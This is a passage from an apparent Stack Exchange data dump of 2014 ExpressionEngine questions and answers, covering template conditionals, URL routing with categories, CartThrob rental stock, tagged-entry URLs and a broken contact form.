ContentLicense="CC BY-SA 3.0" />
  <row Id="20593" PostTypeId="1" CreationDate="2014-03-24T13:33:43.003" Score="1" ViewCount="94" Body="&lt;p&gt;I have my users working on a staging server updating copy and I am still working locally deploying my changes to the style etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is I have installed a module or some something locally which changes the database, if I do a full dump I will losse there data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to export all the data from the channels for importing into my local site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-31T18:37:30.713" Title="EE channel content - exporting" Tags="|channel-entries|import|export|ee|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20594" PostTypeId="2" ParentId="20592" CreationDate="2014-03-24T13:36:14.460" Score="6" Body="&lt;p&gt;The grid field is a looping field, so if the field is in fact called beneficiaries, you should have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{beneficiaries}&#xA;  {beneficiaries:total_rows}&#xA;  {beneficiaries:field_total_rows}&#xA;{/beneficiaries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-24T13:36:14.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20595" PostTypeId="1" AcceptedAnswerId="20607" CreationDate="2014-03-24T13:45:54.897" Score="0" ViewCount="41" Body="&lt;p&gt;I'm running EE 2.7.3 and Tag 4.2.5, and I have tagged entries (products in my case). My stack is how to get URL to “product details” page of tagged product? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example I will tag Product#1 from category#1 and subcategory#1, then I will tag Product#2 from category#1 and subcategory#2 and next Product#3 from category#2 and sunbcategory#3. As return URL I suspect to get something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Product#1: http://www.domain.com/category#1/subcategory#1/product#1&#xA; Product#2: http://www.domain.com/category#1/subcategory#2/product#2&#xA; Product#3: http://www.domain.com/category#2/subcategory#3/product#3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have currently one channel for products and appropriate template groups for each category/subcategory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how to get URLs to work? Should I use in that case Low Seg2Cat or GWcode Categories to get proper URLs based on {url_title} of tagged product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-24T18:34:18.497" Title="Solspace TAG - How to get an URL to tagged entry" Tags="|solspace|url|entries|url-title|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20596" PostTypeId="2" ParentId="20378" CreationDate="2014-03-24T13:57:27.717" Score="0" Body="&lt;p&gt;So it turns out that if I use an embed to output my opening newrelic code (method called newrelic_start in my addon), that outputs fine but stops the newrelic_stop tag from returning anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; &#xA;Use a stash embed instead! Doing this is not only a performance benefit over a traditional embed, but also gets my closing newrelic tag returning what it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the stash embed, you need to use process=&quot;inline&quot;&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2014-03-24T14:13:09.760" LastActivityDate="2014-03-24T14:13:09.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20597" PostTypeId="1" CreationDate="2014-03-24T14:01:41.287" Score="0" ViewCount="216" Body="&lt;p&gt;Was looking for some insight/recommendations on a URI structure for a ecommerce site. The site has thousands of entries &amp;amp; hundreds of categories. A entry can have multiple categories assigned across different category groups. What is the best way to format single entry pages? Do I just have a clean break that all products have a &lt;code&gt;product/view&lt;/code&gt; template or do I try and nest them under each category: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://domain.com/category_group_a/category_a/example_product&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/category_group_a/category_a/example_product&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which could also be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://domain.com/category_group_b/category_b/example_product&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/category_group_b/category_b/example_product&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I go the category route, then there is the potential of having duplicate pages under each category the entry is assigned to. Also, this makes it difficult generating URL structures from say a search result page. Ideally, the nested route would be best for SEO, but structuring URI's so they are consistent is going to be a challenge.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-03-24T15:47:22.873" Title="Nested URI's with multiple categories" Tags="|url|routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20598" PostTypeId="2" ParentId="20597" CreationDate="2014-03-24T14:57:21.197" Score="2" Body="&lt;p&gt;With my limited understanding of how your site is configured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use the URI structure of url.com/products/cat_group/cat/product_url_title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can do this with a single template and control the view from the index.html in the products.group using the Low Seg2Cat plugin with the following if statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;&quot; &amp;amp;&amp;amp; segment_2 == &quot;&quot;}&#xA;&#xA;This could return all products code given the cat group id by passing in the {segment_2_category_group_id} into the category_group param in the ee entries tag.&#xA;&#xA;{if:elseif segment_3 == &quot;&quot; &amp;amp;&amp;amp; segment_2 != &quot;&quot;}&#xA;&#xA;This could return all products code given the cat id with passing in the {segment_3_category_id} into the category_group param in the ee entries tag.&#xA;&#xA;{if:else}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be the code for a products &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seg2cat - &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat/docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-24T14:57:21.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20599" PostTypeId="2" ParentId="20597" CreationDate="2014-03-24T15:47:22.873" Score="1" Body="&lt;p&gt;It's always going to be subjective but I'd go with the simple approach of never having category information in the URL for anything other than a filtered listing page. It's the kind of thing that seems like a good idea at the time, but every decision you make, every new development that happens, every redesign of the site that happens, it will probably come back to haunt you.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-03-24T15:47:22.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20601" PostTypeId="2" ParentId="20590" CreationDate="2014-03-24T16:05:19.897" Score="1" Body="&lt;p&gt;Have you looked at the documentation for setting up pagination? Do you have any code you can post of where you are at with things? It would be helpful for others to assist you if you posted your code along with what you are trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see examples of using pagination here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/pagination_spanning.html&quot; rel=&quot;nofollow&quot;&gt;Pagination Spanning&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-03-24T16:05:19.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20602" PostTypeId="2" ParentId="800" CreationDate="2014-03-24T16:17:22.273" Score="1" Body="&lt;p&gt;I think almost certainly this is an issue with IIS request validation. This is a different cart, but similar issue and the solution should be similar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kartris.com/Knowledgebase/Worldpay-callback-issues---302-redirect-Not-OK__k-48.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.kartris.com/Knowledgebase/Worldpay-callback-issues---302-redirect-Not-OK__k-48.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2888" LastActivityDate="2014-03-24T16:17:22.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20603" PostTypeId="2" ParentId="20522" CreationDate="2014-03-24T17:04:09.563" Score="1" Body="&lt;p&gt;I would recommend you contact &lt;a href=&quot;http://pixelandtonic.com/support&quot; rel=&quot;nofollow&quot;&gt;Pixel and Tonic&lt;/a&gt; directly. They have a reputation for being responsive.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2014-03-24T22:31:14.003" LastActivityDate="2014-03-24T22:31:14.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20604" PostTypeId="1" AcceptedAnswerId="20610" CreationDate="2014-03-24T17:18:51.943" Score="0" ViewCount="1405" Body="&lt;p&gt;I have nested if statement  for template selection - seems a bit cumbersome is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == 5 }&#xA;            {if last_segment == &quot;edit&quot; }&#xA;              {embed=&quot;mypassport/personal-profile-edit} &#xA;              {if:else}&#xA;               {embed=&quot;mypassport/personal-profile-view} &#xA;            {/if}&#xA;&#xA;&#xA;          {if:elseif member_group ==  6}&#xA;          {if last_segment == &quot;edit&quot; }&#xA;              {embed=&quot;mypassport/business-profile-edit}&#xA;              {if:else}&#xA;              {embed=&quot;mypassport/businessprofileview}&#xA;            {/if}&#xA;      {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-24T21:09:40.123" Title="nested if statements - a better way" Tags="|templates|ifelse|nesting|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20605" PostTypeId="1" CreationDate="2014-03-24T17:34:14.033" Score="1" ViewCount="51" Body="&lt;p&gt;I've been looking into CartThrob as an eCommerce solution for a website we're going to be building which allows customers to rent the original artwork (stock of 1) for a specified amount of months or purchase the artwork outright, optionally with a specified amount of prints at different given sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2366/cartthrob-how-to-set-up-product-that-is-available-for-rent-or-purchase&quot;&gt;another thread&lt;/a&gt; which asked about purchases/rentals and the answers suggested using price modifiers to differentiate between a purchase and a rental which seems like the correct way to go, but is there a way to add custom data to the product if its a rental to say that it is on rental until a certain date and keep the stock count at 1, at which point the item is still available for rental and purchase but not until that date? I understand that this functionality is probably not available by default so I'm expecting to have to write an extension - would I use the &lt;a href=&quot;http://cartthrob.com/docs/developers/hooks/#cartthrob_on_authorize&quot; rel=&quot;nofollow noreferrer&quot;&gt;cartthrob_on_authorize&lt;/a&gt; hook to do post-checkout processing and set the data values accordingly? e.g. if its a rental then set the stock level back to 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the possibility of their salesmen to have an app which should be able to create orders from a remote location (or save the orders to be later added when an internet connection is available) which I believe should be doable via a custom API which would use EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#save-entry&quot; rel=&quot;nofollow noreferrer&quot;&gt;save_entry&lt;/a&gt; API method to insert an order with the specified products. Would adding order entries automatically adjust the stock levels if its a purchase (not a rental) and trigger the same hooks or would that have to be built into the custom API?&lt;/p&gt;&#xA;" OwnerUserId="2887" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-03-24T17:34:14.033" Title="CartThrob stock management for rentals/purchases" Tags="|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20606" PostTypeId="2" ParentId="20604" CreationDate="2014-03-24T18:08:34.957" Score="1" Body="&lt;p&gt;It's certainly going to be more resource heavy that way, to be sure. One thing that could definitely help would be to use the early parsing conditional add-ons, &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; to evaluate the conditionals.  Your outer condition is a good spot for switch case logic, while your interior could use ifelse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{member_group}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;5&quot;}&#xA;     {exp:ifelse parse=&quot;inward&quot;}&#xA;       {if last_segment == &quot;edit&quot; }&#xA;          {embed=&quot;mypassport/personal-profile-edit} &#xA;       {if:else}&#xA;          {embed=&quot;mypassport/personal-profile-view} &#xA;       {/if}&#xA;     {/exp:ifelse}&#xA;  {/case}&#xA;  {case value=&quot;6&quot;}&#xA;       {if last_segment == &quot;edit&quot; }&#xA;          {embed=&quot;mypassport/business-profile-edit}&#xA;       {if:else}&#xA;          {embed=&quot;mypassport/businessprofileview}&#xA;       {/if}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another alternative would be to combine some of your conditionals. Rather than evaluate the member group as a wrapper and then have conditionals inside them - since they appear to exist in exclusion of one another - you could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if member_group == &quot;5&quot; AND last_segment == &quot;edit&quot;}&#xA;      {embed=&quot;mypassport/personal-profile-edit}&#xA;  {if:elseif member_group == &quot;5&quot; and last_segment != &quot;edit&quot;}&#xA;      {embed=&quot;mypassport/personal-profile-view}&#xA;  {if:elseif member_group == &quot;6&quot; AND last_segment == &quot;edit&quot;}&#xA;      {embed=&quot;mypassport/business-profile-edit}&#xA;  {if:elseif member_group == &quot;6&quot; AND last_segment != &quot;edit&quot;}&#xA;      {embed=&quot;mypassport/businessprofileview}&#xA;  {if:else}&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I might still recommend using the ifelse add-on to ensure the conditional parses as early and efficiently as possible. Also, if you can get away without an embed and use a snippet instead, I'd recommend doing so - another efficiency gain to be realized if that's an option for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-24T18:08:34.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20607" PostTypeId="2" ParentId="20595" CreationDate="2014-03-24T18:34:18.497" Score="0" Body="&lt;p&gt;I have got my problem resolved by using GWCode Categories add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries channel=&quot;products&quot; tag=&quot;{segment_2}&quot; status=&quot;open&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;a href=&quot;{site_url}{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; last_only=&quot;yes&quot; style=&quot;linear&quot;}{complete_path}{/exp:gwcode_categories}/{url_title}&quot;&amp;gt;&#xA;     &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;/a&amp;gt;&#xA;{/exp:tag:entries}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;{segment_2}&lt;/code&gt; is a tag name with which product was tagged.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-24T18:34:18.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20608" PostTypeId="2" ParentId="20604" CreationDate="2014-03-24T18:35:51.853" Score="0" Body="&lt;p&gt;I'll demonstrate the &lt;a href=&quot;http://devot-ee.com/add-ons/resource-router&quot; rel=&quot;nofollow&quot;&gt;Resource Router&lt;/a&gt; way of handling this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['resource_router'] = array(&#xA;    'mypassport' =&amp;gt; function ($router) {&#xA;        switch(ee()-&amp;gt;session-&amp;gt;userdata('group_id'))&#xA;        {&#xA;            case 5:&#xA;                $router-&amp;gt;setTemplate('mypassport/personal-profile-view');&#xA;                break;&#xA;            case 6:&#xA;                $router-&amp;gt;setTemplate('mypassport/business-profile-view');&#xA;                break;&#xA;            default:&#xA;                $router-&amp;gt;redirect('login');&#xA;        }&#xA;    },&#xA;    'mypassport/edit' =&amp;gt; function ($router) {&#xA;        switch(ee()-&amp;gt;session-&amp;gt;userdata('group_id'))&#xA;        {&#xA;            case 5:&#xA;                $router-&amp;gt;setTemplate('mypassport/personal-profile-edit');&#xA;                break;&#xA;            case 6:&#xA;                $router-&amp;gt;setTemplate('mypassport/business-profile-edit');&#xA;                break;&#xA;            default:&#xA;                $router-&amp;gt;redirect('login');&#xA;        }&#xA;    },&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-03-24T18:35:51.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20609" PostTypeId="2" ParentId="11200" CreationDate="2014-03-24T18:46:19.070" Score="0" Body="&lt;p&gt;It looks like this was addressed in version 4.1.4 update. See: &lt;a href=&quot;http://www.solspace.com/docs/freeform/change_log/#v4.1.4&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/change_log/#v4.1.4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Updated documentation regarding 'require_captcha' parameter and logged in members. Freeform cannot override the EE 'Require Member Captcha' preference when set to 'No'.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Fixed a bug where Captcha was being required for logged in members even with the EE 'Require Member Captcha' preference set to 'No'.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-03-24T18:46:19.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20610" PostTypeId="2" ParentId="20604" CreationDate="2014-03-24T18:54:10.667" Score="0" Body="&lt;p&gt;You're trying to use variables parsed at two different &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing stages&lt;/a&gt; on your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there wasn't need to check &lt;code&gt;member_group&lt;/code&gt;, you could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='mypassport/{if last_segment == &quot;edit&quot; }personal-profile-edit{if:else}personal-profile-view{/if}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you can't because, while &lt;code&gt;last_segment&lt;/code&gt; is parsed at stage 5, &lt;code&gt;member_group&lt;/code&gt;is parsed at stage 26, even after the embed templates. So all the embeds are being parsed all the times and then being discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's try to improve it a little bit. &lt;strong&gt;Be aware that you can't to enable page caching on this or members of different groups will see each others info.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;global:member_group&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;5&quot;}&#xA;        {embed='mypassport/{if last_segment == &quot;edit&quot; }personal-profile-edit{if:else}personal-profile-view{/if}'}&#xA;    {/case}&#xA;    {case value=&quot;6&quot;}&#xA;        {embed='mypassport/{if last_segment == &quot;edit&quot; }business-profile-edit{if:else}business-profile-view{/if}'}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;member_group&lt;/code&gt; wasn't a global variable, which needs the &lt;code&gt;global&lt;/code&gt; prefix to be parsed early, we could test for both variables at once.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is an interesting idea. I gonna suggest it to the developer of switchee, Mark Croxton.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-03-24T20:46:23.303" LastActivityDate="2014-03-24T20:46:23.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20611" PostTypeId="1" CreationDate="2014-03-24T19:20:30.627" Score="0" ViewCount="228" Body="&lt;p&gt;I had a question about my contact form on my Expression Engine Site. It just stopped working, it won't send emails and I don't know if it is in the PHP or what? I know there is nothing in the action&quot;&quot;, but that's how it always was. Any help would be appreciated. Here is the code I have: `&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;section role=&quot;header&quot;&amp;gt;&#xA;&#xA;            &amp;lt;ol role=&quot;breadcrumbs&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='site_index'}&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;Request A Quote&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ol&amp;gt;&#xA;&#xA;            &amp;lt;h2 class=&quot;title&quot;&amp;gt;Request A Quote&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;span class=&quot;arrow&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;request_form&quot;&amp;gt;&#xA;&#xA;            {exp:channel:entries channel=&quot;pages&quot;}&#xA;&#xA;            {content}&#xA;&#xA;            {/exp:channel:entries}&#xA;&#xA;            &amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;                &amp;lt;fieldset role=&quot;user info&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Basic Information&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;name&quot;&amp;gt;Your Name&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; tabindex=&quot;1&quot; /&amp;gt;&#xA;                            &amp;lt;span class=&quot;error&quot; role=&quot;name&quot;&amp;gt;Please Specify Your Name&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;right&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;company&quot;&amp;gt;Name of Your Company&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;company&quot; id=&quot;company&quot; tabindex=&quot;2&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;phone&quot;&amp;gt;Contact Phone&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; id=&quot;phone&quot; tabindex=&quot;4&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;right&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; tabindex=&quot;3&quot; /&amp;gt;&#xA;                            &amp;lt;span class=&quot;error&quot; role=&quot;email&quot;&amp;gt;Please Supply Your E-mail Address&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;addr&quot;&amp;gt;Address&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;addr&quot; id=&quot;addr&quot; tabindex=&quot;4&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;City&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;city&quot; id=&quot;city&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;state&quot;&amp;gt;State&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;state&quot; id=&quot;state&quot; maxlength=&quot;2&quot; tabindex=&quot;6&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;zip&quot;&amp;gt;Zip Code&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;zip&quot; id=&quot;zip&quot; maxlength=&quot;5&quot; tabindex=&quot;7&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;fieldset role=&quot;project details&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Project Specifics &amp;lt;span class=&quot;diagonals&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;type&quot;&amp;gt;Building Type&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;select name=&quot;type&quot; id=&quot;type&quot; tabindex=&quot;4&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;Agriculture&quot;&amp;gt;Agriculture&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Commercial&quot;&amp;gt;Commercial&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Equine&quot;&amp;gt;Equine&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Pavilion&quot;&amp;gt;Pavilion&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Residential&quot;&amp;gt;Residential&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;Building Dimensions&amp;lt;sub&amp;gt;*&amp;lt;/sub&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            Width &amp;lt;input type=&quot;text&quot; name=&quot;d_width&quot; id=&quot;d_width&quot; tabindex=&quot;5&quot; /&amp;gt; &#xA;                            Length &amp;lt;input type=&quot;text&quot; name=&quot;d_length&quot; id=&quot;d_length&quot; tabindex=&quot;5&quot; /&amp;gt; &#xA;                            Height &amp;lt;input type=&quot;text&quot; name=&quot;d_height&quot; id=&quot;d_height&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;Overhead Doors&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Size&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;ohd_size&quot; id=&quot;ohd_size&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Quantity&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;ohd_quantity&quot; id=&quot;ohd_quantity&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;Slider Doors&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Size&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;sd_size&quot; id=&quot;sd_size&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Quantity&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;sd_quantity&quot; id=&quot;sd_quantity&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                    &amp;lt;ol 